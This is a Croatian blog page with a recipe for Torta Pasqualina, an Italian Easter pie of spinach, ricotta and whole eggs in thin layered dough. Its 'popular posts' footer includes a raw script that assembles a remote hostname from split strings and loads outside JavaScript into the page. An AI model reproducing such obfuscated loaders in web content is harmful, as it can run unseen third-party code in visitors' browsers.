TORTA PASQUALINA - USKRSNA PITA 🍰





Torta Pasqulina - uskrsna pita 



U svijetu uskrsnih delicija, gdje uvijek u našim glavama nekako dominiraju šunke u kruhu i brojni kolači, postoji i jedna talijanska slana pita koja nam je posljednjih dana ‘zavrtjela glavom’. Naime, Torti Pasqualini, koja dolazi iz regije Ligurije, čije je srce povijesni grad Genova.





Torta Pasqulina 


Sastojci:

Za tijesto:

  • 500 g glatkog brašna
  • 250 ml mlake vode
  • 50 ml maslinovog ulja
  • prstohvat soli

Za nadjev:

  • 500 g svježeg špinata ili blitve
  • 400 g ricotte
  • 1 manji luk
  • 50 g naribanog parmezana
  • 4–5 jaja
  • maslinovo ulje
  • sol i papar po ukusu
  • prstohvat muškatnog oraščića (po želji)



Priprema:

  • Najprije pripremite tijesto. U velikoj zdjeli pomiješajte brašno i sol, dodajte vodu i maslinovo ulje pa zamijesite glatko, elastično tijesto. Mijesite nekoliko minuta dok ne postane podatno, zatim ga podijelite na 6 do 8 kuglica. Svaku lagano premažite uljem, prekrijte kuhinjskom krpom i ostavite da odmara najmanje 30 minuta.
  • U međuvremenu pripremite nadjev. Na maslinovom ulju kratko popržite sitno sjeckani luk dok ne postane staklast. Dodajte špinat ili blitvu i kuhajte dok ne uvene. Ohladite smjesu, a zatim je dobro ocijedite kako biste uklonili višak tekućine. Umiješajte ricottu, parmezan, jedno jaje, sol, papar i muškatni oraščić. Smjesa treba biti kremasta, ali dovoljno čvrsta.
  • Pećnicu zagrijte na 180 °C. Uzmite kalup za pitu i lagano ga nauljite. Prvu kuglicu tijesta razvaljajte vrlo tanko, gotovo prozirno, i položite u kalup tako da rubovi prelaze preko stranica. Lagano premažite uljem, pa ponovite postupak s još 2-3 sloja tijesta.
  • Na pripremljenu podlogu rasporedite nadjev od špinata. Zatim žlicom napravite mala udubljenja u koja ćete pažljivo razbiti preostala jaja, to je prepoznatljiv dio ovog jela koji daje poseban vizualni efekt kada se pita reže.
  • Prekrijte sve s preostalim slojevima tijesta, svaki lagano premazujući uljem. Rubove pažljivo zatvorite i uklonite višak tijesta. Površinu lagano premažite uljem i po želji napravite nekoliko sitnih rezova kako bi para mogla izlaziti tijekom pečenja.
  • Pecite oko 50 do 60 minuta, dok pita ne poprimi zlatnosmeđu boju i hrskavu koricu. Ostavite je da se malo ohladi prije rezanja, taman toliko da se slojevi lijepo stabiliziraju.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BRZI KINDER BUENO KOLAČ BEZ PEČENJA

Slika
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Brzi kinder bueno kolač bez pečenja  Bez obzira na to držite li se određenog tipa prehrane ili režima vježbanja, s vremena na vrijeme u redu je počastiti se omiljenom slasticom, a ovaj Kinder Bueno kolač ima sve što će utažiti želju za slatkim. Slasna krema, hrskavi keks i čokoladna glazura odmah su nas uvjerili da ga moramo isprobati. Brzi kinder bueno kolač bez pečenja  Sastojci: 300g plazma keksa + 100 ml mlijeka 350 ml slatkog vrhnja 200 g sirnog namaza 100 g šećera u prahu 3 pune žlice bijele Lino Lade 5 Kinder Bueno čokoladica 100 g Kinder čokoladica + 50 ml slatkog vrhnja Priprema: Za pripremu ovog kolača koristite kalup ili posudu dimenzija 27×18 cm. Sirni namaz i šećer pomiješajte pa mikserom umutite slatko vrhnje. U dobiveni šlag dodajte mješavinu sira i šećera te bijelu Lino La...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više